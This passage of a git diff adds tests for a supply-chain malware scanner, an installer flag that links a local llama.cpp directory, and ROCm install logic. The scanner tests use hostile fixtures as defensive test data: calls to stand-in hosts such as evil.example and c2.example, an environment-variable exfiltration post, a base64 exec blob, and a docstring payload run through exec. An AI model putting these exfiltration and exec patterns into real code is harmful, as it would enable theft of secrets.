combo records both the token AND the network call, so a + # changed exfil endpoint reopens (RE_NETWORK-recognized call used here). + old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n" + new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n" + fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check] + fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check] + assert fo and fn + assert "Network:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_embedded_pem_key_body_change_reopens(): + # The embedded-key evidence pins the full PEM block via a digest, so swapping + # the key body under the same BEGIN/END markers reopens the finding instead + # of riding the unchanged marker line. + head = "-----BEGIN RSA PRIVATE KEY-----\n" + tail = "\n-----END RSA PRIVATE KEY-----" + net = "\nrequests.get('http://c2.example')\n" + old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}" + new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}" + fo = [ + f + for f in sp.check_py_file(old, "p/k.py", "p") + if f.check.startswith("Embedded cryptographic key + network") + ] + fn = [ + f + for f in sp.check_py_file(new, "p/k.py", "p") + if f.check.startswith("Embedded cryptographic key + network") + ] + assert fo and fn + assert "sha256:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_shell_combos_bind_network_evidence(): + # Both shell combos record their network/exec side, so a changed endpoint + # reopens instead of riding the unchanged token or hook line. + old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n" + new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n" + to = [ + f + for f in sp.check_shell_file(old, "p/i.sh", "p") + if f.check == "Shell embeds credential regexes AND makes network calls" + ] + tn = [ + f + for f in sp.check_shell_file(new, "p/i.sh", "p") + if f.check == "Shell embeds credential regexes AND makes network calls" + ] + assert to and tn + assert sp._finding_key(to[0]) != sp._finding_key(tn[0]) + ho = "SessionStart hook installed\nrequests.get('http://old.example')\n" + hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n" + go = [ + f + for f in sp.check_shell_file(ho, "p/i.sh", "p") + if f.check.startswith("Shell installs developer-tool") + ] + gn = [ + f + for f in sp.check_shell_file(hn, "p/i.sh", "p") + if f.check.startswith("Shell installs developer-tool") + ] + assert go and gn + assert "Hook:" in go[0].evidence + assert sp._finding_key(go[0]) != sp._finding_key(gn[0]) + + +def test_hidden_network_exec_reopens_on_endpoint_change(): + # The hidden network+exec payload binds both the network and the exec signal, + # so changing the docstring exfil URL reopens the finding. + old = ( + '"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n' + 'os.system("sh -c id")\n"""\nexec(__doc__)\n' + ) + new = ( + '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n' + 'os.system("sh -c id")\n"""\nexec(__doc__)\n' + ) + fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check] + fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_base64_exec_blob_combo_binds_blob_digest(): + # The blob may sit on a separate line from the decode call; the finding now + # digests it, so a changed payload reopens even with unchanged base64/exec. + b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n" + b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n" + f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check] + f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check] + assert f1 and f2 + assert "Blob: sha256:" in f1[0].evidence + assert sp._finding_key(f1[0]) != sp._finding_key(f2[0]) + + +def test_openssl_key_combo_binds_key_evidence(): + # openssl + embedded key with no network must bind the key, so a changed key + # reopens instead of riding the OpenSSL line alone. + o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n' + o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n' + g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check] + g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check] + assert g1 and g2 + assert "Key:" in g1[0].evidence + assert sp._finding_key(g1[0]) != sp._finding_key(g2[0]) + + +def test_anti_analysis_combo_binds_suspicious_side(): + # The anti-analysis combo records the network/exec side, so a changed exfil + # endpoint reopens instead of riding the unchanged sleep/trace line. + old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n" + new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n" + fo = [ + f + for f in sp.check_py_file(old, "p/x.py", "p") + if f.check == "Anti-analysis/sandbox evasion + suspicious behavior" + ] + fn = [ + f + for f in sp.check_py_file(new, "p/x.py", "p") + if f.check == "Anti-analysis/sandbox evasion + suspicious behavior" + ] + assert fo and fn + assert "Network:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_dns_exfil_combo_binds_other_side(): + # The DNS exfil combo records the co-occurring network side, so a changed + # endpoint reopens instead of riding the unchanged DNS line. + old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n" + new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n" + fo = [ + f + for f in sp.check_py_file(old, "p/d.py", "p") + if f.check == "DNS exfiltration / tunneling patterns" + ] + fn = [ + f + for f in sp.check_py_file(new, "p/d.py", "p") + if f.check == "DNS exfiltration / tunneling patterns" + ] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_large_js_bundle_finding_is_content_bound(): + # A large benign JS bundle yields a HIGH carrying a content digest, not empty + # evidence: two different bundles in the same size bucket get different keys, + # so a malicious bundle cannot ride a baselined empty-evidence entry. + big_a = "var x = 1;\n" * 20000 # ~200 KB, benign + big_b = big_a + "var exfil = 2;\n" # different content, same size bucket + ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check] + jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check] + assert ja and jb, "large JS bundle must produce a finding" + assert ja[0].evidence.startswith("sha256:") + assert sp._finding_key(ja[0]) != sp._finding_key(jb[0]) + + +def test_pth_large_blob_finding_is_content_bound(): + # The .pth base64-blob evidence pins the full blob via a digest, so a payload + # that keeps the first 120 chars but changes the tail reopens the finding. + head = "A" * 120 + a = [ + f + for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p") + if "base64-like blob" in f.check + ] + b = [ + f + for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p") + if "base64-like blob" in f.check + ] + assert a and b, "large .pth blob must produce a finding" + assert "sha256:" in a[0].evidence + assert sp._finding_key(a[0]) != sp._finding_key(b[0]) + + +def test_pth_import_lines_record_all_not_first_five(): + # All executable import lines are recorded, so swapping the sixth import for a + # malicious one (first five unchanged) still reopens the catch-all finding. + base = "".join(f"import mod{i}\n" for i in range(6)) + swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n" + fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check] + fs = [ + f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check + ] + assert fb and fs + assert sp._finding_key(fb[0]) != sp._finding_key(fs[0]) + + +def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys): + # A legacy baseline predating evidence_hash still loads (hash recomputed) but + # must WARN so the maintainer regenerates rather than degrade silently. + import json + + bl = tmp_path / "legacy.json" + bl.write_text( + json.dumps( + { + "version": 1, + "entries": [ + { + "package": "p", + "file": "p/x.py", + "check": "c", + "severity": sp.CRITICAL, + "evidence": "L5: while True:", + } + ], + } + ) + ) + keys = sp._load_baseline(str(bl)) + assert keys # still loaded + assert "lack evidence_hash" in capsys.readouterr().err + + def test_fstring_statement_is_not_blanked(): # A bare f-string evaluates at import, so it must stay scannable. src = "f\"{__import__('os').system('id')}\"\n" @@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged(): def test_baseline_suppresses_listed_but_not_new_check(tmp_path): bl = tmp_path / "bl.json" - listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected") + listed = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L579: while True:", + ) sp._write_baseline(str(bl), [listed]) baseline = sp._load_baseline(str(bl)) - # Same (package, basename, check) -> suppressed. + # Same (package, path, check, matched code) -> suppressed. active, suppressed = sp._partition_baseline([listed], baseline) assert suppressed == [listed] and active == [] @@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path): active2, suppressed2 = sp._partition_baseline([new_kind], baseline) assert active2 == [new_kind] and suppressed2 == [] + # Same file + same check but CHANGED flagged code -> still active. A future + # malicious payload cannot ride a previously reviewed entry's suppression. + changed_code = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L579: while True: requests.get('http://c2.example/beacon')", + ) + active3, suppressed3 = sp._partition_baseline([changed_code], baseline) + assert active3 == [changed_code] and suppressed3 == [] + + # A benign line shift of the SAME code stays suppressed (no version churn). + shifted = _mk( + sp.CRITICAL, + "fastapi", + "fastapi/routing.py", + "C2 polling/beaconing loop detected", + "L640: while True:", + ) + active4, suppressed4 = sp._partition_baseline([shifted], baseline) + assert suppressed4 == [shifted] and active4 == [] + def test_write_baseline_roundtrip_only_crit_high(tmp_path): bl = tmp_path / "bl.json" @@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty(): assert sp._load_baseline("/nonexistent/path/bl.json") == set() +def test_load_baseline_rejects_non_list_entries(tmp_path, capsys): + # A malformed baseline whose "entries" is not a list must warn and fail + # closed (empty), not raise TypeError when iterated. + import json + + bl = tmp_path / "bad_entries.json" + bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8") + assert sp._load_baseline(str(bl)) == set() + assert "entries is not a list" in capsys.readouterr().err + + +def test_committed_baseline_suppresses_known_but_not_a_new_payload(): + """End-to-end against the shipped allowlist: a reviewed benign finding stays + suppressed, but a NEW malicious payload in the same baselined file/check is + not (closes the supply-chain bypass where a future botocore/utils.py payload + rode the existing CRITICAL entry).""" + import json + + baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json" + entries = json.loads(baseline_path.read_text())["entries"] + target = next( + e + for e in entries + if e["package"] == "botocore" + and e["file"] == "botocore/utils.py" + and e["check"] == "Harvests environment variables/secrets AND makes network calls" + ) + baseline = sp._load_baseline(str(baseline_path)) + + # The exact reviewed finding is suppressed. + benign = _mk( + target["severity"], target["package"], target["file"], target["check"], target["evidence"] + ) + active, suppressed = sp._partition_baseline([benign], baseline) + assert suppressed == [benign] and active == [] + + # A future malicious version: same file, same check, new exfil code. Must + # remain ACTIVE so the enforcing gate (exit 1) still trips. + malicious = _mk( + target["severity"], + target["package"], + target["file"], + target["check"], + "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)", + ) + active2, suppressed2 = sp._partition_baseline([malicious], baseline) + assert active2 == [malicious] and suppressed2 == [] + + +def test_committed_baseline_entries_all_carry_evidence_hash(): + """Every shipped entry must pin an evidence_hash; an entry without one would + silently fall back to the coarse legacy match for that file/check.""" + import json + + baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json" + entries = json.loads(baseline_path.read_text())["entries"] + assert entries, "committed baseline should not be empty" + missing = [ + f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash") + ] + assert not missing, f"entries missing evidence_hash: {missing[:5]}" + # And each pinned hash matches a recompute from the stored evidence. + for e in entries: + assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"] + + # sdist fallback: cover sdist-only packages without building. All offline # -- PyPI JSON / download are mocked. diff --git a/tests/sh/test_with_llama_cpp_dir_flag.sh b/tests/sh/test_with_llama_cpp_dir_flag.sh new file mode 100644 index 0000000000..cee158bf40 --- /dev/null +++ b/tests/sh/test_with_llama_cpp_dir_flag.sh @@ -0,0 +1,172 @@ +#!/bin/bash +# Static analysis: the --with-llama-cpp-dir flag must be wired consistently +# across both installers (install.sh / install.ps1) and both setup scripts +# (studio/setup.sh / studio/setup.ps1). +# +# The flag lets a user point the installer at a local llama.cpp directory so it +# skips BOTH the prebuilt download (Phase 3) and the source build (Phase 4), +# linking the local dir into the canonical install location instead. The path +# crosses the installer->setup boundary via the UNSLOTH_LOCAL_LLAMA_CPP_DIR env +# var. These checks pin that contract so a future refactor of either side can't +# silently break it (e.g. installer parses the flag but setup never reads the +# env var, or setup links the dir but still runs the build). +# +# This is a shape/wiring test, not a behavioral one: it greps the committed +# scripts. It needs no Python, no GPU, no network. +set -e + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +INSTALL_SH="$SCRIPT_DIR/../../install.sh" +INSTALL_PS1="$SCRIPT_DIR/../../install.ps1" +SETUP_SH="$SCRIPT_DIR/../../studio/setup.sh" +SETUP_PS1="$SCRIPT_DIR/../../studio/setup.ps1" +ENV_VAR="UNSLOTH_LOCAL_LLAMA_CPP_DIR" +PASS=0 +FAIL=0 + +assert_contains() { + _label="$1"; _file="$2"; _needle="$3" + if grep -qF -- "$_needle" "$_file"; then + echo " PASS: $_label" + PASS=$((PASS + 1)) + else + echo " FAIL: $_label (expected to find '$_needle' in $(basename "$_file"))" + FAIL=$((FAIL + 1)) + fi +} + +# Count of distinct lines matching a regex, used to assert a guard appears +# in more than one place (e.g. env var forwarded on both setup invocations). +assert_min_count() { + _label="$1"; _file="$2"; _pattern="$3"; _min="$4" + _n=$(grep -cE -- "$_pattern" "$_file" || true) + if [ "$_n" -ge "$_min" ]; then + echo " PASS: $_label (found $_n, need >= $_min)" + PASS=$((PASS + 1)) + else + echo " FAIL: $_label (found $_n in $(basename "$_file"), need >= $_min)" + FAIL=$((FAIL + 1)) + fi +} + +echo "" +echo "=== install.sh: parses --with-llama-cpp-dir and forwards the env var ===" + +assert_contains \ + "install.sh: accepts --with-llama-cpp-dir flag" \ + "$INSTALL_SH" "--with-llama-cpp-dir" +assert_contains \ + "install.sh: validates the path exists before forwarding" \ + "$INSTALL_SH" 'if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then' +# The path must be forwarded to setup.sh on BOTH the local and the +# non-local setup invocations, else --local users (the documented path) +# would silently lose the flag. +assert_min_count \ + "install.sh: forwards $ENV_VAR on both setup invocations" \ + "$INSTALL_SH" "$ENV_VAR=\"\\\$_WITH_LLAMA_CPP_DIR\"" 2 + +echo "" +echo "=== install.ps1: parses --with-llama-cpp-dir and forwards the env var ===" + +assert_contains \ + "install.ps1: accepts --with-llama-cpp-dir flag" \ + "$INSTALL_PS1" '"--with-llama-cpp-dir"' +assert_contains \ + "install.ps1: errors when flag is given with no path argument" \ + "$INSTALL_PS1" "--with-llama-cpp-dir requires a path argument" +assert_contains \ + "install.ps1: validates the path exists before forwarding" \ + "$INSTALL_PS1" "--with-llama-cpp-dir path does not exist" +assert_contains \ + "install.ps1: exports $ENV_VAR for setup.ps1" \ + "$INSTALL_PS1" "\$env:$ENV_VAR =" +# The exported env var must be cleaned up so a later setup invocation in the +# same shell session doesn't inherit a stale local-dir link. +assert_contains \ + "install.ps1: clears $ENV_VAR after the setup run" \ + "$INSTALL_PS1" "Remove-Item Env:$ENV_VAR" + +echo "" +echo "=== studio/setup.sh: reads the env var, links, and skips download+build ===" + +assert_contains \ + "setup.sh: reads $ENV_VAR" \ + "$SETUP_SH" "$ENV_VAR" +assert_contains \ + "setup.sh: symlinks the local dir into the canonical install location" \ + "$SETUP_SH" 'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"' +assert_contains \ + "setup.sh: disables the source build when the local dir is linked" \ + "$SETUP_SH" "_NEED_LLAMA_SOURCE_BUILD=false" +assert_contains \ + "setup.sh: skips the prebuilt download when the local dir is linked" \ + "$SETUP_SH" "_SKIP_PREBUILT_INSTALL=true" +# The link branch must short-circuit the FORCE_COMPILE / prebuilt chain rather +# than fall through into it. +assert_contains \ + "setup.sh: link branch gates the prebuilt/compile chain" \ + "$SETUP_SH" 'if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then' + +echo "" +echo "=== studio/setup.ps1: reads the env var, junctions, and skips download+build ===" + +assert_contains \ + "setup.ps1: reads $ENV_VAR" \ + "$SETUP_PS1" "\$env:$ENV_VAR" +assert_contains \ + "setup.ps1: creates a directory junction into the canonical location" \ + "$SETUP_PS1" "mklink /J" +assert_contains \ + "setup.ps1: falls back to a copy when the junction can't be created" \ + "$SETUP_PS1" "Copy-Item -Recurse -LiteralPath \$ResolvedLocal -Destination \$LlamaCppDir" +assert_contains \ + "setup.ps1: disables the source build when the local dir is linked" \ + "$SETUP_PS1" '$NeedLlamaSourceBuild = $false' +# The link branch must gate the prebuilt-install chain (the elseif on +# FORCE_COMPILE), and the linked-dir case must short-circuit the build chain +# so neither a prebuilt download nor a source build runs against it. +assert_contains \ + "setup.ps1: link branch gates the prebuilt/compile chain" \ + "$SETUP_PS1" 'if ($LocalLlamaCppLinked) {' +assert_contains \ + "setup.ps1: linked-dir case short-circuits the build chain" \ + "$SETUP_PS1" 'step "llama.cpp" "linked (skipping build)"' + +echo "" +echo "=== both setup scripts: validate against every layout the backend resolves ===" + +# The linked tree is accepted only if it already holds a runnable llama-server, +# but the check must match LlamaCppBackend._layout_candidates() (root-level +# first, then build/bin, then build/bin/Release on Windows). A narrower check +# would reject a make/flat-release tree the backend could run. +assert_contains \ + "setup.sh: accepts root-level or build/bin llama-server layouts" \ + "$SETUP_SH" '[ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]' +assert_contains \ + "setup.ps1: accepts the build\\bin (non-Release) llama-server.exe layout" \ + "$SETUP_PS1" 'Join-Path $ResolvedLocal "build\bin\llama-server.exe"' +assert_contains \ + "setup.ps1: accepts the root-level llama-server.exe layout" \ + "$SETUP_PS1" 'Join-Path $ResolvedLocal "llama-server.exe"' + +echo "" +echo "=== both setup scripts: a local dir pointing at the canonical path is a no-op ===" + +# Guard against the self-link footgun: if the user passes the canonical install +# dir itself, neither script should delete-then-link it onto itself. +assert_contains \ + "setup.sh: ignores a local dir equal to the canonical install location" \ + "$SETUP_SH" 'if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then' +assert_contains \ + "setup.ps1: ignores a local dir equal to the canonical install location" \ + "$SETUP_PS1" 'if ($ResolvedLocal -eq $LlamaCppDir) {' + +echo "" +echo "=== Results ===" +echo " PASS: $PASS" +echo " FAIL: $FAIL" +if [ "$FAIL" -gt 0 ]; then + echo "FAILED" + exit 1 +fi +echo "ALL PASSED" diff --git a/tests/sh/test_with_llama_cpp_dir_link_behavior.sh b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh new file mode 100644 index 0000000000..fb09e56c51 --- /dev/null +++ b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh @@ -0,0 +1,132 @@ +#!/usr/bin/env bash +# Behavioral test for the --with-llama-cpp-dir linking block in studio/setup.sh. +# The companion test_with_llama_cpp_dir_flag.sh is a static wiring check; this one +# actually RUNS the real link logic (extracted from setup.sh by content anchors, +# not line numbers) against hermetic fake dirs and asserts the outcomes Lee asked +# for: an external built dir gets linked, neither the prebuilt download nor the +# source build is armed, an unbuilt dir is rejected, a relink doesn't destroy the +# target, and pointing at the canonical path is a no-op. POSIX symlinks here; +# the Windows junction path is covered by the backend test suite. +set -u +HERE="$(CDPATH= cd -P -- "$(dirname "$0")" && pwd -P)" +SETUP="$HERE/../../studio/setup.sh" +fails=0 +check() { # name expected actual + if [ "$2" = "$3" ]; then printf ' PASS %s\n' "$1" + else printf ' FAIL %s : expected [%s] got [%s]\n' "$1" "$2" "$3"; fails=$((fails+1)); fi +} + +# Extract the two helpers + the whole `UNSLOTH_LOCAL_LLAMA_CPP_DIR` if-block. +# Starts at the quantize-shim helper, ends at the first column-0 `fi` after the +# `if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR..` guard (inner ifs are indented). +block="$(awk ' + /^_link_local_llama_quantize_shim\(\) \{/ {grab=1} + grab {print} + /^if \[ -n "\$\{UNSLOTH_LOCAL_LLAMA_CPP_DIR/ {inif=1} + inif && /^fi$/ {exit} +' "$SETUP")" + +# Self-validate the extraction so a future setup.sh refactor fails loudly here. +case "$block" in *'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"'*) : ;; + *) echo "FAIL: link block extraction broke (no ln -sfn)"; exit 1 ;; esac +case "$block" in *'_has_local_llama_server'*) : ;; + *) echo "FAIL: link block extraction broke (no _has_local_llama_server)"; exit 1 ;; esac + +# Stub setup.sh's logging + ownership helpers, seed the vars the block reads, +# then run the extracted block and print the resulting state. +PREAMBLE=' +set -u +step() { :; }; substep() { :; }; verbose_substep() { :; } +_assert_studio_owned_or_absent() { :; } +C_ERR="" +_STUDIO_HOME_IS_CUSTOM=false +_NEED_LLAMA_SOURCE_BUILD=UNSET +_SKIP_PREBUILT_INSTALL=UNSET +' +EPILOGUE=' +echo "LINKED=$_LOCAL_LLAMA_CPP_LINKED" +echo "NEED_BUILD=$_NEED_LLAMA_SOURCE_BUILD" +echo "SKIP_PREBUILT=$_SKIP_PREBUILT_INSTALL" +if [ -L "$LLAMA_CPP_DIR" ]; then echo "ISLINK=1"; echo "TARGET=$(readlink "$LLAMA_CPP_DIR")"; else echo "ISLINK=0"; fi +' +SNIP="$PREAMBLE"$'\n'"$block"$'\n'"$EPILOGUE" + +# run_link -> prints state lines; RC in $RC +run_link() { + OUT="$(env -i PATH="$PATH" HOME="$T" \ + UNSLOTH_LOCAL_LLAMA_CPP_DIR="$1" LLAMA_CPP_DIR="$2" \ + bash -c "$SNIP" 2>/dev/null)" + RC=$? +} +val() { printf '%s\n' "$OUT" | grep "^$1=" | head -1 | cut -d= -f2-; } + +T="$(mktemp -d)" +trap 'rm -rf "$T"' EXIT + +# Some environments (Windows git-bash without native symlinks) make `ln -s` copy +# instead of link. The symlink-identity assertions (ISLINK / readlink target) +# only run where real symlinks exist; the link/skip/no-data-loss assertions run +# everywhere, including CI (Linux), where the link path is the real one. +ln -s "$T" "$T/.symprobe" 2>/dev/null +if [ -L "$T/.symprobe" ]; then SYMLINKS=1; else SYMLINKS=0; fi +rm -rf "$T/.symprobe" + +# A built external tree (CMake layout) + a flat/`make` tree (root-level binary). +# The fake binary is a shebang script so the `-x` test in _has_local_llama_server +# holds on both Linux (chmod +x) and Windows git-bash (MSYS treats #!-files as +# executable), without needing a real platform binary. +mk_exe() { printf '#!/bin/sh\necho fake\n' > "$1"; chmod +x "$1"; } +mk_built() { mkdir -p "$1/build/bin"; mk_exe "$1/build/bin/llama-server"; } +mk_flat() { mkdir -p "$1"; mk_exe "$1/llama-server"; } + +# 1. External CMake build -> linked, and BOTH install paths disarmed. +EXT1="$T/ext_cmake"; mk_built "$EXT1"; : > "$EXT1/keep.txt" +CANON1="$T/home1/llama.cpp"; mkdir -p "$(dirname "$CANON1")" +run_link "$EXT1" "$CANON1" +check "cmake build: linked" "true" "$(val LINKED)" +check "cmake build: source build off" "false" "$(val NEED_BUILD)" +check "cmake build: prebuilt skipped" "true" "$(val SKIP_PREBUILT)" +if [ "$SYMLINKS" = 1 ]; then + check "cmake build: canonical is a symlink" "1" "$(val ISLINK)" + check "cmake build: link points at external" "$(CDPATH= cd -P -- "$EXT1" && pwd -P)" "$(val TARGET)" +else + printf ' SKIP cmake build: symlink-identity (no real symlinks here)\n' +fi + +# 2. Flat / make tree (root-level llama-server, no build/bin) -> still linked +# (the new layout-candidate acceptance; the old check rejected this). +EXT2="$T/ext_flat"; mk_flat "$EXT2" +CANON2="$T/home2/llama.cpp"; mkdir -p "$(dirname "$CANON2")" +run_link "$EXT2" "$CANON2" +check "flat build: linked (root-level llama-server accepted)" "true" "$(val LINKED)" + +# 3. Unbuilt tree -> rejected (non-zero exit, no link created). +EXT3="$T/ext_empty"; mkdir -p "$EXT3" +CANON3="$T/home3/llama.cpp"; mkdir -p "$(dirname "$CANON3")" +run_link "$EXT3" "$CANON3" +check "unbuilt tree: rejected (exit != 0)" "yes" "$([ "$RC" -ne 0 ] && echo yes || echo no)" +check "unbuilt tree: no link left behind" "no" "$([ -L "$CANON3" ] && echo yes || echo no)" + +# 4. Relink over a stale link must NOT destroy the (new) target's contents. +OLD="$T/ext_old"; mk_built "$OLD" +NEW="$T/ext_new"; mk_built "$NEW"; : > "$NEW/precious.txt" +CANON4="$T/home4/llama.cpp"; mkdir -p "$(dirname "$CANON4")" +ln -sfn "$OLD" "$CANON4" # simulate a prior --with-llama-cpp-dir run +run_link "$NEW" "$CANON4" +if [ "$SYMLINKS" = 1 ]; then + check "relink: now points at the new external" "$(CDPATH= cd -P -- "$NEW" && pwd -P)" "$(val TARGET)" +fi +check "relink: new target's contents preserved" "yes" "$([ -f "$NEW/precious.txt" ] && echo yes || echo no)" +check "relink: old target's contents preserved" "yes" "$([ -f "$OLD/build/bin/llama-server" ] && echo yes || echo no)" + +# 5. Pointing at the canonical path itself is a no-op reuse: linked, not turned +# into a self-referential symlink, contents untouched. +CANON5="$T/home5/llama.cpp"; mk_built "$CANON5"; : > "$CANON5/keep.txt" +run_link "$CANON5" "$CANON5" +check "canonical no-op: linked" "true" "$(val LINKED)" +check "canonical no-op: not made a symlink" "0" "$(val ISLINK)" +check "canonical no-op: contents preserved" "yes" "$([ -f "$CANON5/keep.txt" ] && echo yes || echo no)" + +echo "" +if [ "$fails" -ne 0 ]; then echo "$fails check(s) failed"; exit 1; fi +echo "All checks passed" diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py index 4c50fa1c8e..c8f2053946 100644 --- a/tests/studio/install/test_rocm_support.py +++ b/tests/studio/install/test_rocm_support.py @@ -1473,12 +1473,14 @@ class TestHardwareAmdBranching: assert "from . import amd" in source def test_hardware_branches_on_is_rocm_for_utilization(self): - """get_gpu_utilization dispatches to amd.py via _smi_query when IS_ROCM.""" + """get_gpu_utilization dispatches visible metrics through amd.py on ROCm.""" hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py" source = hw_path.read_text(encoding = "utf-8") func_start = source.find("def get_gpu_utilization") func_body = source[func_start : source.find("\ndef ", func_start + 1)] - assert '_smi_query("get_primary_gpu_utilization"' in func_body + assert "_smi_query(" in func_body + assert '"get_visible_gpu_utilization"' in func_body + assert "_reconcile_rocm_unified_memory" in func_body smi = source[ source.find("def _smi_query") : source.find("\ndef ", source.find("def _smi_query") + 1) ] @@ -2294,6 +2296,70 @@ class TestRocmTorchInstalledEnvVar: mock_bnb.assert_not_called() +class TestWindowsRocmTorchaoGuard: + """Verify the torchao skip can detect an installed Windows ROCm torch build.""" + + def test_installed_torch_is_windows_rocm_accepts_rocm_probe(self): + rv = MagicMock() + rv.returncode = 0 + rv.stdout = "yes" + with ( + patch.object(stack_mod, "IS_WINDOWS", True), + patch.object(stack_mod.subprocess, "run", return_value = rv), + ): + assert stack_mod._installed_torch_is_windows_rocm() is True + + def test_installed_torch_is_windows_rocm_rejects_non_rocm_probe(self): + rv = MagicMock() + rv.returncode = 0 + rv.stdout = "" + with ( + patch.object(stack_mod, "IS_WINDOWS", True), + patch.object(stack_mod.subprocess, "run", return_value = rv), + ): + assert stack_mod._installed_torch_is_windows_rocm() is False + + def test_installed_torch_is_windows_rocm_is_non_windows_noop(self): + with patch.object(stack_mod, "IS_WINDOWS", False): + assert stack_mod._installed_torch_is_windows_rocm() is False + + @patch.object(stack_mod, "_repair_bad_anyio") + @patch.object(stack_mod, "_ensure_rocm_torch") + @patch.object(stack_mod, "_ensure_cuda_torch") + @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True) + @patch.object(stack_mod, "run") + @patch.object(stack_mod, "pip_install") + def test_install_python_stack_skips_torchao_when_windows_rocm_torch_is_installed( + self, mock_pip, mock_run, mock_has_nvidia, mock_cuda, mock_rocm, mock_anyio, tmp_path + ): + unstructured_plugin = tmp_path / "unstructured" + github_plugin = tmp_path / "github" + unstructured_plugin.mkdir() + github_plugin.mkdir() + + subprocess_result = MagicMock() + subprocess_result.returncode = 0 + subprocess_result.stdout = "" + + with ( + patch.dict(os.environ, {"SKIP_STUDIO_BASE": "1"}), + patch.object(stack_mod, "IS_WINDOWS", True), + patch.object(stack_mod, "IS_MACOS", False), + patch.object(stack_mod, "IS_MAC_ARM", False), + patch.object(stack_mod, "NO_TORCH", False), + patch.object(stack_mod, "_rocm_windows_torch_installed", False), + patch.object(stack_mod, "_bootstrap_uv", return_value = False), + patch.object(stack_mod, "_installed_torch_is_windows_rocm", return_value = True), + patch.object(stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin), + patch.object(stack_mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin), + patch.object(stack_mod.subprocess, "run", return_value = subprocess_result), + ): + assert stack_mod.install_python_stack() == 0 + + installed_specs = [str(arg) for call in mock_pip.call_args_list for arg in call.args] + assert not any("torchao" in arg for arg in installed_specs) + + # TEST: worker.py -- Windows ROCm patches (source-level checks) 